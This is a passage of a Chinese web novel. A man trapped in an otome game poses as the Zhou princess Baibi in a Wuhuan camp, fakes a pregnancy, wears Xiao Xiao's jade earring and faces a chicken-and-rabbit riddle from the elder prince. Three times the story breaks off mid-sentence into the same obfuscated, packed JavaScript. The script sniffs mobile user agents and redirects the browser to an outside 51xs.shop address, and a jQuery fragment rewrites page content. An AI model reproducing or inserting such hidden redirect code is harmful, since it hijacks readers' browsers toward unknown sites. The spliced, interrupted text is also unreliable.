但姬无瑕这乌桓王子妃的身份,也就此坐实,看似安全,其实距离他登基的任务目标越来越远。 拿到玉玺时姬无瑕还以为很快就能完成任务呢。 我要回家……他内心的猫猫头在疯狂流泪。 越往北走,视野越开阔。天苍苍野茫茫,荒原之上没有城镇,没有官道,没有行人,苍穹如盖,其下好像只剩萧骁与他的族人,带着姬无瑕策马奔驰于天地之间。 七八日后,他们靠近曾经远在地平线上的一道山脉,进入山脚下的谷地。由于高山挡住了南方吹来的湿润的风,山脉南麓降水相对丰富,草木郁郁葱葱,滋养了乌桓人的猎场、牛羊,也孕育了整个族群的血脉。 这座山被乌桓祖祖辈辈尊为神山,名唤“归赤”。 山脚下的谷地里,七色彩帐连成一片,最正中的几座大帐饱经风吹日晒,全年不随水草迁徙,乃是乌桓人聚会、庆祝节日、单于议事的固定场所,其中传来草原特有的爽朗、喧哗的人声。 萧骁的故乡到了。 - 萧骁骑马缓行,经过营帐群落,不停有青壮年男子对他鞠躬或下跪行礼,并说上几句听不懂的乌桓话,料想是请安或者请示一类。萧骁看上去心情不错,却也不全回答,间或懒洋洋地答上几句。 等他们到了中央大帐之前,萧骁便下马,连鹅黄带马上的姬无瑕交给时越,自行去见他的父亲,乌桓族的单于。 时越道:“公主,您先去二王子的帐篷休息一下。” 姬无瑕发现,时越一路上只喊萧骁作“王子”,但到了乌桓人的谷地后,却改口叫“二王子”了,可见多少是有些忌讳的,萧骁在族内继承人的地位尚未稳固。 萧骁的帐篷不大,扎在山脚下较为僻静的地方,鹅黄一见那帐篷便兴奋了,冲过去咬帐篷门前挂着的流苏,如同猫玩毛线球一般,摇头晃脑,将流苏末端的彩球扯来扯去。 时越好不容易牵稳了鹅黄,将姬无瑕扶下马。这时有个年轻侍卫来传话,狠狠地上下打量了姬无瑕一番,时越便点头表示知道了。 “单于请您去见一面。”时越对姬无瑕道。 姬无瑕心想,这是萧骁报告了此行始末,单于打算要验货? 时越神色忐忑,有些吞吞吐吐地说道:“我族人未经教化,行为可能有些粗野,您是王子妃,未来的大阏氏,不要与他们一般见识。” 姬无瑕能屈能伸:“没关系,阶下囚有自知之明。” 自己能唬住萧骁,却不见得能唬住他的父兄,如果被他们认出自己是男的,那恐怕就不是萧骁的单于位子的问题了,是自己都会丧命。 不知不觉中,姬无瑕已经初步融入了这个古代世界的思维逻辑。他对时越道:“请给我找一套女装,见你们的单于我不想失礼。”虽说女装也不能说不失礼吧…… 时越点头应是。萧骁帐篷里显然不会有女人衣服,时越只得出去给姬无瑕找衣服。姬无瑕独自打量萧骁的营帐,发现其内部装饰非常简朴,一张单人矮榻铺着羊毛毯,摆着硬木枕头,大概就是萧骁平时睡觉的地方。除此之外,只有一张小木桌,两个粗麻坐垫,一个置物用的柜子。 姬无瑕去拉开柜子,柜门没锁,里面半空着,三件胡服上端端正正地摆着两样东西:一枚单只的玉坠耳环,和一个彩线缝制的、针脚歪歪扭扭的大头布娃娃。 怎么看都是女孩儿的东西。那玉坠耳环样式简单,但玉的光泽优美温润,感觉值不少钱。布娃娃的料子倒是上好的绸缎,只是眼睛缝歪了,头发仅有几根,看上去还有点克系恐怖。 “难道是他喜欢的女孩的东西?”姬无瑕嘀咕。 他正拿着布娃娃端详,突然时越就带着一个乌桓贵族女孩回来了。 “这是刻罗家的钦琳,她听说你来了,一定要来看看你。”时越一边介绍,一边向姬无瑕狂打眼色。 名唤钦琳的女孩个子甚高,都快跟姬无瑕差不多高了,长相倒还不错,只是像其他乌桓人一样,皮肤略微有些黯淡粗糙,眉形上挑,挑剔地打量着姬无瑕。 稍后,钦琳轻蔑地说道:“哼,大周的白璧公主也不过如此,就这种相貌只能勉强算得上是清秀,可亏这族里上上下下都惦记着。” 姬无瑕立刻明白,这是得罪学习委员后,作业被挑刺的老套路。 “给她一套女奴的衣服。”钦琳吩咐身后跟着的侍女。她这几句说的都是半生不熟的汉话,就是故意让姬无瑕听懂的。 侍女马上将一套灰扑扑的粗布衣服扔在地上,倨傲地抬起下巴。 钦琳也倨傲地抬下巴,两人动作齐刷刷地。钦琳命令道:“换衣服,让我看看你到底什么身材。” 姬无瑕总不能当着她的面脱,钦琳不介意他还介意呢。 “妹妹,”姬无瑕道,“请先回避一下。” “小贱人,有脸勾搭男人,没脸脱衣服?”钦琳恶狠狠地说,“早知道乌楼渐哥哥喜欢汉人的妖艳贱货,天天往南边跑……” 等等,乌楼渐哥哥是谁?姬无瑕略一思索,便想清楚了前后逻辑,这应该是萧骁的乌桓名字。原来钦琳喜欢萧骁啊,怪不得对自己敌意这么大。 时越夹在萧骁的前青梅竹马和现太子妃之间,眼见着俩人就要开撕,紧张地狂擦脑门上的汗,道:“钦琳小姐,您先回去吧,我们二王子等下见完单于自然会来找您的。” 钦琳大声道:“他爱来不来!” 说完这句,姬无瑕心中偷笑,她这语气就证明萧骁经常放她鸽子,她对萧骁是单箭头,柜子里的耳环和布娃娃不可能是她的。 姬无瑕想了想,捂着肚子,“哎哟哎哟”地叫着,缓慢而优雅躺倒地上,避免真摔疼自己。 “!!!”钦琳吓了一跳,退了半步。 姬无瑕心道,我关键台词还没说呢,你怎么就怂了,但我还是要说。 姬无瑕虚弱地说:“我,我的肚子……” 时越马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457932|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急了:“公主,您怎么了?难道是赶路劳累动了胎气?!” 你们古人这生理知识是真不行啊,姬无瑕内心吐槽,就算萧骁围城那天我怀上的,现在也还没满半个月呢,能看出个蛋来? 但姬无瑕面上还是皱眉呻吟道:“我肚子好疼……” 时越手足无措,要上前搀扶他又不敢,连连搓手,姬无瑕又道:“不是赶路的问题,是这个小姐……” 时越:“钦琳小姐怎么了?” 姬无瑕气若游丝地说:“她身上一股浓浓的牛羊粪味儿,熏得我动了胎气……” 时越:“……” 钦琳:“……” “你说谁身上有味道?!”钦琳勃然大怒,一脚踢向姬无瑕,姬无瑕马上把自己的肚子对齐迎上去,并“啊”的一声夸张大叫,开始满地翻滚。 “钦琳小姐!”时越立刻急了,拦住她,“快住手啊!公主她怀了二王子的孩子啊!” “什么?!”钦琳如五雷轰顶,她爱慕的王子出去一趟,回来竟带了一个女人,肚子里还带球! 姬无瑕抑扬顿挫地干号道:“我~的~肚~子~啊!我可怜的未出世的孩儿!” 后面这句倒没错,他的孩儿确实还未出世。 姬无瑕现实中跟王亮打篮球,王亮教过他怎么装作被打,实际却不受伤的方法,这样可以造犯规。他用同样的方法对付钦琳,她那一脚根本没踢实,被姬无瑕卸了力。但钦琳怎知他有这么丰富的花样?顿时又羞又愤,又恐惧萧骁因此恨上自己,马上慌了神。 “你,快去把巫医请过来!”时越跳过了钦琳,直接指挥她的侍女。 侍女慌慌张张地跑了。 乌桓人竟然还有巫医,姬无瑕想,这不是比中医更不科学的存在吗?! 姬无瑕垂泪道:“不用请医生,是我的命不好,命中注定生不出孩子来,怪不得别人……”说到这里,他努力抹了一把鼻涕,涂到钦琳华丽的七色裙摆上,钦琳一声尖叫,也跑了。 “你的肚子怎么样了?!”时越顾不上钦琳,过来扶姬无瑕,“巫医马上就来,坚持住!” 姬无瑕瘫在他怀里,茶茶地说:“这位贵族小姐一定是王子的意中人吧?我这样惹她生气,王子回来一定会打死我吧?” 时越:“额。” 姬无瑕握住时越的双手,饱含热泪地恳求道:“求求你放我走,我和我的孩子只想要一条生路。” 时越认真道:“公主您放心,有我时越在一天,王子就不会这样对待您和您的孩子,除非先杀了我。而且根据我对他多年的了解,王子根本不喜欢钦琳小姐,他的一颗心都在您身上,他是爱您的!” 正在这时,萧骁撩开门帘进来了。 时越还把姬无瑕抱在怀里,姬无瑕还握着时越的手,两人像一对即将生离死别的情侣。 萧骁食指指着他们颤抖了两下,怒吼道:“你们在干什么!” 时越马上把姬无瑕往地上一撂,姬无瑕的脑袋这次撞出了货真价实的“咚”的一声。 12.萧骁:6 眼见误会大了,时越赶忙道:“不不不王子不是您想的那样,额,公主,您当心……” 这时久违地,姬无瑕耳边响起系统的提示:“萧骁好感度从5点提升到6点。” 等等,姬无瑕发现,他作天作地,折腾萧骁这么久,萧骁的好感度都没有下降,反而莫名其妙升了一点。难道萧骁喜欢吃飞醋? 姬无瑕头发晕,不及细想,道:“萧骁你怎么回来了,你不是去见你父王了?” 萧骁道:“我听说钦琳来找你麻烦,我赶紧……咳咳。”萧骁差点说漏嘴,还好及时收住了话头。 姬无瑕在地上躺平:“我受伤了,没法去见你父王他老人家了。” 萧骁正色道:“这怎么行?你可是我的……” “你的赌注,你的工具人,你的单于之位的象征,我知道了知道了!可工具人也有人权的好吗?!”姬无瑕揉着脑袋,皱着眉道。 萧骁正要开口解释,却偏偏在这时,钦琳的侍女带着乌桓族的巫医回来了。 那巫医看上去年岁不小了,驼着背步履蹒跚,帽子上以扇形插着一大篷各种鸟类的羽毛,活像只开屏的公孔雀。他不会说汉话,但一见半躺在地上的姬无瑕,便呜哩哇啦地叫了起来。 姬无瑕的心提了起来。他听不懂巫医的话,却意识到他一定是在说自己。巫医朝姬无瑕颤巍巍地走了两步,姬无瑕赶紧往后缩,背靠上萧骁的矮塌。 虽然不知道这巫医的真实水平,但看出自己是男的不需要医学水平!只要不瞎就行! 萧骁也同时意识到,不能让这巫医去看姬无瑕,否则很容易穿帮。 萧骁马上冲着巫医怒吼道:“呜哩哇啦瓦哒哒!呜噜唧唧!” 姬无瑕偷偷问时越:“他什么意思?” 时越小声翻译:“王子说,除了他以外,任何男人都不能碰您,也不能看您除了手和脸之外的身体部位,公马都不行。” 姬无瑕:“……” 姬无瑕突然发现,这是个好办法啊,萧骁还挺聪明!巫医好歹是个男人,用吃醋做借口确实可以阻止他过来给自己“看病”。 于是为了表达对萧骁的支持,并保持逻辑的一致性,姬无瑕把时越也推开了。 刚翻译了一句话就被过河拆桥的时越:“……” 巫医跟萧骁争辩了几句,萧骁寸步不让,并摆出了一副蛮横霸道的神色,一点尊老爱幼的传统美德都不讲,倒推着巫医出了帐篷门,巫医被他推了个屁股墩。 姬无瑕本来就听不懂他们说话,只听他们在帐篷外争辩了许久。时越不计前嫌,又过来将姬无瑕扶到萧骁的床榻上,让他舒服躺着。 不片刻,萧骁没好气地带着巫医回来,时越马上又装模作样地跟姬无瑕分开,侍立在旁。 钦琳的侍女还没走,萧骁吩咐了她两句,侍女便献上三根丝线。姬无瑕:“?” 紧接着,萧骁亲自拿着丝线的一端,过来捉姬无瑕的手腕。姬无瑕说:“系错了,男左女右。” 萧骁于是换到了姬无瑕的右手,托着他的手掌,将三根丝线分别灵巧地打上结。 悬丝诊脉!姬无瑕又见识了一个传说中的古代狠活。可是这巫医不是巫医吗,怎么还会这一手?难道是游戏文案乱写的? 姬无瑕是决计不会相信悬丝诊脉能诊断出他的性别的,萧骁明显也不信,两人难得观点一致了一次。 萧骁用尾指不经意地一拨丝线,确认结已打好,紧接着就把丝线的另一端递给帐篷外的巫医。巫医煞有介事地接过,也用他枯瘦鸡爪一般的手指弹了弹。 姬无瑕平静地躺着,都没感受到丝线的震动有传递到自己。 巫医将丝线放在耳旁侧耳细听,仿佛神山在风里给他指引。 稍后,巫医又开始在帐篷门口来回乱蹦。姬无瑕觉得这个乱蹦发癫的仪式本来应该是发生在帐篷内的,只是因为萧骁不让巫医进来,巫医只能在门外蹦,活像一只求偶的光屁股孔雀,显得腿脚伶俐了不少,并引来了大量乌桓人围观。 巫医跳完大神,从怀里取出一只黑黝黝的铁碗,放入一撮诡异的绿色粉末。周遭的乌桓人取来火种,为他将粉末点燃。 萧骁接过冒着青烟的铁碗,放在床头,姬无瑕马上闻到了他的毕生劲敌、香菜的味道。 巫医皱巴巴的脸上露出一个无比期待的神情。 姬无瑕忍了片刻,终于还是忍不住,那可是香菜啊!他转头对着床铺下,情不自禁地干呕起来。 巫医大获全胜,围观的乌桓人发出了齐声赞叹:“噢!” 双方虽然语言不通,但“噢”是通的,姬无瑕一边犯恶心,一边听出了其中的欣喜之情。 时越跪地,对北方祈祷:“先祖保佑!归赤神山保佑!既然开始吐了,显然是王子妃的胎又稳住了!” 姬无瑕:“……” 外头的乌桓人男女老幼有的跪拜神山,有的讨好巫医,还有的探头探脑观察姬无瑕的肚子,或是恭喜萧骁。 萧骁站在门口,皮笑肉不笑地哼了两声。 于是,来到乌桓营地的第一天,白璧公主怀了萧骁的孩子、差点被钦琳踹流产、但又被神山显灵保住了胎的传奇故事就传遍了整个乌桓族上上下下。 经过这么一闹,当天乌桓单于就没有坚持接见姬无瑕。听时越说,钦琳回家后,被她的父亲,某个乌桓贵族狠狠地斥责了一通。 原剧情里有钦琳这个人物吗?姬无瑕真不记得了。这种打脸剧情他一贯比较反感,看到都是能跳则跳的。 伤害纸片人的情感算不算伤害呢? 人群散后,姬无瑕施施然从床上爬起来,先捏着鼻子把铁碗扔了出去,然后装模作样拍了拍灰。 萧骁道:“明天去见我父兄,先把赌约的结果敲定下来。” 姬无瑕有点怂,道:“我身体不太舒服,你就不担心你的孩子吗?!” 萧骁大声道:“你还演上瘾了啊,真以为自己是个女人?!” 姬无瑕道:“你别生气,等你和你哥履 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473472|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了赌约,我就没用了吧?是不是能放我走?我还得赶紧回去宫斗登基呢。” 萧骁冷冷道:“看情况吧。” 帐篷外发出窸窸窣窣的声音,姬无瑕扔出去的铁碗被人捡走了。 第二日,姬无瑕是真的鼓起勇气要丑媳妇见公婆了,也算是离他的登基大业更近一步。他在帐篷内洗漱时,萧骁出外到附近的河里洗冷水澡。小河是初春时节归赤山融化的雪水汇流而成,冰寒刺骨,过了不久,萧骁就穿着单衣,带着一身寒气回来了。 “编头发。”萧骁往座垫上盘腿一坐,就等着姬无瑕伺候。 姬无瑕道:“你看我像是会编头发的样子?” 萧骁冷冷道:“不会就学,我们乌桓的女人都要给夫君编头发。” “编发都不会,”钦琳人未进来,声音先到了,“也配嫁给乌桓的二王子?!” 姬无瑕头痛不已:你怎么又来了?! 姬无瑕好胜心起,不管会不会,先揪起一把萧骁的头发。钦琳这时候掀门帘进来,在旁虎视眈眈。 一个假公主和一个真贵女一起盯着萧骁,灼热的目光落在他的发顶,好在萧骁的发量撑得住,不会被他们盯到脱发秃顶。 萧骁的头发略长于肩膀,又多又硬,如果照着乌桓人的常见发型处理,得先编成许多细辫,再汇成一束,需要折腾很久。 姬无瑕一时显然处理不了这么多,他甚至一手都握不住。钦琳也趁机揪起一把,两人把他的头往两边扯。 “钦琳,放手!”萧骁接受了姬无瑕的粗手笨脚,却制止了钦琳。 “乌楼渐哥哥!”钦琳委屈地说,“你平时都不让我帮忙编,这白璧她这么笨,她怎么配给你梳头!” 钦琳正说着,姬无瑕示威似的给萧骁绑了个朝天小辫,一手向上揪起一束头发,另一手持发绳缠了七八圈。 萧骁顶着朝天小辫漠然看着钦琳,道:“你先出去,一大早跑到男人营帐里算怎么回事?!” 钦琳深吸了一口气,差点被他的话气哭了,但又快要被这个造型逗笑了,嘴角抽搐,很是忍了一会儿,才道:“哥哥,你真要娶这个来路不明的汉族女人?!你不知道,其实我一直……”钦琳深深地吸了一口气。 要阵前表白了?!千万不要啊!姬无瑕的尴尬癌都犯了,想赶紧转移话题,以免她真说出什么天崩地裂的话。 但还没等姬无瑕想好,萧骁倒是先打断了她:“钦琳,咱们自幼相识,我一直拿你当妹妹,等你出嫁的时候我自然给你准备一份丰厚的嫁妆。” 萧骁目光中带着少许威胁,似乎钦琳再敢耍赖,他就真要动手揍她了。 钦琳“哇”地放声大哭,冲出了萧骁的营帐。 姬无瑕道:“你对女孩怎么这么凶?谁敢嫁给你,这么凶神恶煞的?” 萧骁命令道:“你,把我头发放下来!” 姬无瑕赶紧把他的朝天辫散开,萧骁自然而然地自己拢起头发来,嘴里咬着发绳,说道:“你管得着?” 13.萧骁:6 姬无瑕发现,萧骁其实对自己算温柔的,对其他女人更冷酷……呸呸呸,我又不是女人怎么能这么比?!不过萧骁对他的战友,比如时越,还是挺亲近的。但怎么说,他对自己的态度又有些微妙的不同,与女人不同,与其他男人也不同。 难道拿我是当双性……不,不要提这种花市话题。 萧骁自己收拾自己的头发,姬无瑕换上那件钦琳昨天扔下的粗布衣服,道:“这衣服真丑。” 萧骁也在旁套皮甲,道:“适合你,毕竟你人也就那样。” 姬无瑕指着自己的鼻子:“你睁大眼睛好好看看,本公主这个相貌,谁见了不赞一句国色天香!” 萧骁抬眼看他,姬无瑕双手掐腰,表情微嗔,眉目间的神情生动又刁蛮。 俗话说人靠衣装,但姬无瑕真不靠衣装,靠的是主角光环。任你多么平凡的五官,多么朴素的衣装,穿在主角身上,那就是清水出芙蓉的光晕特效,在朝阳下闪瞎了配角的眼。 此时,一套粗布衣服更显得姬无瑕皮肤柔嫩,娇艳欲滴,充满了自幼养尊处优的高雅气质。 “等。”萧骁道。他转身取出柜子中那只玉坠耳环,俯身给姬无瑕扣在左耳上。 姬无瑕在现实中也是有一个单边耳洞的,毕竟戴耳钉是小受们的标配。穿越之后,耳洞倒是没有被系统暗改,还是左边有,右边无。 萧骁垂眼看他,伸手在他洁白如玉的右耳垂上捏了一把。 “干嘛?”姬无瑕说,“这边没有。” 萧骁瞳孔深邃,只装着姬无瑕一人,片刻后才道:“走,去见我父王。” 于是姬无瑕就穿着女奴的衣服,戴着萧骁珍藏的一只玉耳环,昂首阔步地走在乌桓营地内。 朝阳之下,有妇女成群结队地在河边洗衣,看到姬无瑕跟着萧骁,都对他的耳环指指点点。 “她们在说什么?”姬无瑕问萧骁。 萧骁答道:“闭嘴别问,耳环给你你就戴着。” 姬无瑕心道,耳环此物成双成对,最适合情侣做信物告白。不知哪位倒霉的小姐把耳环送给了萧骁,萧骁不解风情,又转送给了自己,那自己跟倒霉小姐该是一对,萧骁只不过是他们的媒人罢了。 走到乌桓单于的帐外,一左一右有两名赤着上身的勇士在击鼓,两人面前各是一只直径两米的巨鼓,擂起来震天响,敲得人心脏震颤。 “乌桓骑兵阵中以此鼓传讯。”萧骁见姬无瑕在看鼓,简略解释道。 所有的乌桓贵族,听到鼓声都向单于帐前聚集,准备见证两位王子的赌约结果。 贵族们多身着华服,进帐后向单于行礼,散坐在四周地上,有衣衫褴褛的女奴在旁侍奉,以金杯献上奶茶。 是奶茶啊!姬无瑕一闻到那个味道便心猿意马,但乌桓人的奶茶必不加全糖,好喝不到哪里去。 姬无瑕注意到,昨天见过的那名巫医,居然就坐在单于侧旁,可见是地位超然。萧骁等贵族们都坐好后,才带着姬无瑕走到单于座前,单膝跪地。 姬无瑕琢磨着自己也该跪,当代大学生能为一个蛋饼喊室友爸爸,节气这东西是一毛钱没有的。于是姬无瑕有样学样,也单膝跪下。 “错了,错了!”时越躲在贵族们的最后,向姬无瑕做口型。 姬无瑕:“?” 姬无瑕换了一边膝盖跪着。 乌桓人哄堂大笑,萧骁起身,满脸怒气地转头,往姬无瑕支起的膝盖上踢了一脚,让他双膝跪实在了。 爸爸,你可以说话,不用动手的。姬无瑕揉了揉膝盖,感觉绝对被踢出瘀青了,心中也十分不快。但是人在屋檐下,不得不低头,他还是对乌桓单于露出了一个尽可能千娇百媚的笑容。 眼见着,那单于的神色就怔住了。 姬无瑕:“?” 单于坐在上首,距离姬无瑕有点远,只能看到一蓬茂密的大胡子,胡子中间裹着个中年大汉。姬无瑕看到他盯了自己一会儿,转头跟身旁的巫医问话。 巫医也看向姬无瑕,微笑颔首。 姬无瑕冷汗都流下来了,这种明显“别人认识你你不认识他”的场景,简直极度触发社恐。乌桓单于认识白璧?该不会看出了自己是个假货吧?! 稍后,只见乌桓单于颔首,示意他们在帐篷内圈、靠近单于的矮案后坐下。姬无瑕松了口气。 姬无瑕小心地躲在萧骁背后,问:“你父王听得懂汉话?” 萧骁道:“应该……听不懂。” 姬无瑕:什么叫应该啊?你给我说清楚! 乌桓单于说了几句话,下面有贵族恭敬回应。姬无瑕又道:“你哥哥呢?怎么还不来吵架?” 等吵完架,萧骁的单于之位到手,是不是就可以放我回去了?游戏剧情中白璧公主是自己从乌桓逃掉的,但姬无瑕乐观地预判,萧骁很可能会放他走。只因萧骁爱白璧,却不爱姬无瑕,前几日萧骁亲口这么说,姬无瑕还记得。何况姬无瑕还是个男的,两人也不合适。 萧骁盘着腿,手按双膝,不悦道:“谁知道奇夷在做什么,日上三竿还不来,只怕是赌输了,没脸见我。” 萧骁都不肯喊乌桓大王子一声哥哥,就径直管他叫名字“奇夷”。姬无瑕虽然听不懂他们说的乌桓话,却听到单于与贵族们也多次提到“奇夷”,似乎正在讨论他缺席的事。 到底为什么缺席啊?姬无瑕抓耳挠腮,萧骁只冷冷端坐着,不发一言。 这时,单于大帐外又传来震天鼓声,奇夷终于来了。 姬无瑕赶忙伸长脖子,往帐篷门口看去,想找到一个想象中的长胡子版本的萧骁,如果他还能爱上自己、跟他弟弟适当修罗场一下就更好了。 迎着他的目光进来的人居然没胡子!甚至看起来不太像胡人!姬无瑕在内心抖了个机灵,没胡子怎么能叫胡人呢? 那是一名身材颀长的青年人,看着跟萧骁差不多岁数,肌肉略单薄,肩上系着羊绒织成的厚披风,难得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493232|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种文质彬彬的气质。他手上戴着一大把明晃晃的扳指,每个上面都有一块硕大的宝石,金钱的光辉晃得人眼瞎。比起他这个排场来,萧骁的金面具都算不得什么了。 青年人进得帐篷来,四下环顾,未语先笑。 哇这种气质温和的我也喜欢!姬无瑕被惊艳到了。萧骁的哥就是我哥哥,求成为可攻略角色! 青年环顾到一半,突然看到萧骁身后的姬无瑕,神色明显愣了一下。 姬无瑕激动了:他他他注意到我了! 然而还没等他对青年抛什么媚眼,紧接着帐外又进来一个足有零点一吨的中年胖子,水桶粗的腰上挂着两把血迹斑斑的大斧。姬无瑕心想,难道是大王子的侍从? 只见青年让到旁边,众贵族纷纷站起来,向那胖子行礼,称他为“奇夷”。 姬无瑕:“……” 原来这胖子才是大王子奇夷?等等,那先前的青年人是谁?! 姬无瑕又去打量那青年,青年对他微微一笑。 贵族们纷纷与奇夷寒暄,把青年晾在一边。青年看着并无尴尬的神色,只是专注地看姬无瑕,好似他是专程为了看姬无瑕而来的。 萧骁待要上前去找奇夷麻烦,又怕自己离开姬无瑕他会被小白脸勾搭,只能姑且如坐针毡地坐着,用身体挡住姬无瑕与扳指王的眉来眼去。 萧骁低声吼姬无瑕:“你能不能守一下妇道,打算把我的脸往哪儿搁?!” 姬无瑕:“……别动手!哎你哥来了!真来了,你快看啊!” 萧骁以为姬无瑕唬他,回过头才猛地发现奇夷已经走到了自己案前。 奇夷身材像一座肉山一般,阴影投在萧骁的桌案上。他张口竟说的是汉话:“乌楼渐,你命这么硬,居然能活着回来。” 萧骁道:“一定是哥哥在神山上为我日夜祈祷,我才能一路平安,可真是辛苦哥哥了。” 两人话语彼此带刺。奇夷道:“祈祷好说,只是不知你去哪里转了一圈,带回来这么个下贱的小东西唬人?看看这尖嘴猴腮的样子——” 奇夷眼神一瞥,示意姬无瑕。姬无瑕听出他的意思是说自己是个假货,虽然姬无瑕确实是,但别人不能这么说,特别是假货要拿命来当的时候。 萧骁待要讽刺回去,姬无瑕自己挺了挺不存在的胸脯,清了清嗓子,道:“稀奇稀奇真稀奇,哪儿来的肥猪,竟还会说人话,我在大周从未见过。” 奇夷虽然会汉话,但毕竟没到能跟姬无瑕斗嘴皮子的程度,只得又骂了一句“中原贱人”,然后直接抽了腰间的剑,一剑砍了下来。 姬无瑕索性把眼睛一闭,心想萧骁你连这都挡不住就别当男主了。果然,耳边一声金铁交鸣,萧骁用弯刀架住了这一剑。紧接着,萧骁内劲爆发,推得奇夷倒退了好几步。 眼见奇夷就要摔倒,站在帐篷门边那个俊美青年赶紧掏出一把镶金嵌玉的羽毛扇,冲着他的背后扇了两下。奇夷就这么神奇地又站住了。 14.萧骁:6 姬无瑕不仅暗自琢磨:这青年是谁啊?至少也是个武林高手吧?这么扇两下就能稳住一头肥猪的身形,牛顿的棺材板都摁不住了。 于是姬无瑕的注意力又转移到青年身上,青年把羽毛扇横在胸前,指了指上面斗大的夜明珠让姬无瑕看。 姬无瑕:“……”赤裸裸地炫富! 哎哎哎?姬无瑕突然认出了这把扇子,这是游戏第三位男主,杜姜的扇子! 杜姜是白手起家的江南富商,怎么会跑来塞北的?!他明显刻意换装过,不似游戏中总是一身白衣的书卷气,再加上二次元与三次元的鸿沟,姬无瑕前面真没认出来! 要知道杜姜虽然看着素雅,却是白璧公主复国的大金主,这把价值连城的扇子他也从不随身携带,却在白璧需要贿赂时毫不在意地掏了出来。 大腿来了,还是有钱大腿,终于可以摆脱萧骁了!姬无瑕略挺了挺腰板,能伸能缩的胆子大了不少。 上首老单于咳嗽了两声,制止了奇夷继续来找他们的麻烦。 老单于说了几句乌桓话,贵族们纷纷点头附和。 萧骁解释道:“父王让奇夷要么拿出证据,证明你不是白璧,要么就承认自己的失败,灰溜溜地滚出乌桓大帐。” 姬无瑕心想,萧骁证明自己的身份很难,但奇夷证伪更难,老单于让奇夷举证,明显就是站在萧骁一边。 奇夷怒道:“这小女奴怎么可能是白璧?!不可能!这不可能!” “怎么不可能?”姬无瑕主动出击,对奇夷道,“这位王子殿下,你见过我?” 奇夷道:“没见过!” 姬无瑕道:“我很好奇,你既没见过白璧公主,又不亲身跟着你弟弟去大周,是笃定他肯定带不回人吗?你就这么确定他赢不了?还是说,你本来就是安排好,让他去大周送死的?” 奇夷怒道:“你在血口喷人!他是我弟弟!” “那你怎么今天还到得这么晚?”姬无瑕意味深长地说,“你若是有半分兄弟之情,早就过来见他了。看到他活着回来你一定很失望吧?” 奇夷道:“你你你……” 杜姜在奇夷背后“噗嗤”地笑了。 姬无瑕炮轰得正起劲,被杜姜这么一笑却有点社恐发作,开始检讨自己是不是太嚣张。 奇夷捂住胸口,感觉心脏病要犯了。萧骁听完姬无瑕的话却没笑,反而正色道:“哥哥,不管你心里怎么恨我,约定就是约定,现在我做到了,你该把这把乌桓传世之剑给我了吧。” 萧骁一指奇夷手上那把刚用来砍过姬无瑕未果的剑:“本来你也不配用这把剑。” “等等!”奇夷终于想起自己迟来的缘由了,“我有一个鉴定白璧公主的办法!” “什么?”萧骁道,“你怎么可能有办法?” 什么?!姬无瑕也惊了,你竟然有办法?我都没办法啊!不会是让我脱吧?! 这也太社死了,万一闹到要当众鉴定的程度,还不如死了算了! 萧骁挡在姬无瑕面前,冷冷道:“哥哥,他是我的人。” 奇夷神色古怪,道:“你想到哪里去了?!我只是听说白璧公主饱读诗书,有一道汉人的题目一定能答上来吧?” 姬无瑕:啊?难道要背诗?我理科生哎…… 奇夷傲慢地哼了一声,道:“怎么样?敢不敢?!” 姬无瑕把心一横,豁出去了不能怂,从未听说乙游的答题会让玩家卡关的,要背诗应该也是最常见那几首…… 还没等他回忆完什么李白杜甫,奇夷道:“那我就出题了!请!听!题!” 姬无瑕道:“谁怕谁?来啊来啊来考我!” 奇夷道:“这可是我征集来的天下第一难题!只有汉人的饱学之士才能答上来!” 姬无瑕与萧骁齐声怒道:“别废话了!” 奇夷道:“有一位乌桓猎人外出打猎一天,猎物多得数不胜数,都放在一只笼子里,有鸡也有兔子……” 姬无瑕小学奥数的DNA突然动了,这尼玛不是鸡兔同笼问题?! 姬无瑕狂喜:这题我会! 奇夷接着道:“……笼子里共有五个头,十四只脚……” 帐中贵族们都竖起耳朵,边听边连连摇头。其中一名萧骁派的乌桓贵族挺身而出,为姬无瑕解围:“大王子,您这题目放眼乌桓都无人答得出,怎么能拿来刁难一个女奴?!” 奇夷道:“白璧公主号称美貌与智慧并存,是大周朝皇冠上活生生的明珠,这个问题问她正合适!她若答不上来,就说明她根本不是白璧!” “这不可能答得上来啊!”乌桓贵族们交头接耳,有些面露喜色,有些则焦虑地看着萧骁。 姬无瑕冷眼旁观,大略分辨了几个靠近单于坐着的大贵族的立场,接着就分辨不下去了——因为实在是太好笑了啊!他恨不得出门去仰天狂笑,果然是学好数理化,走遍天下都不怕! 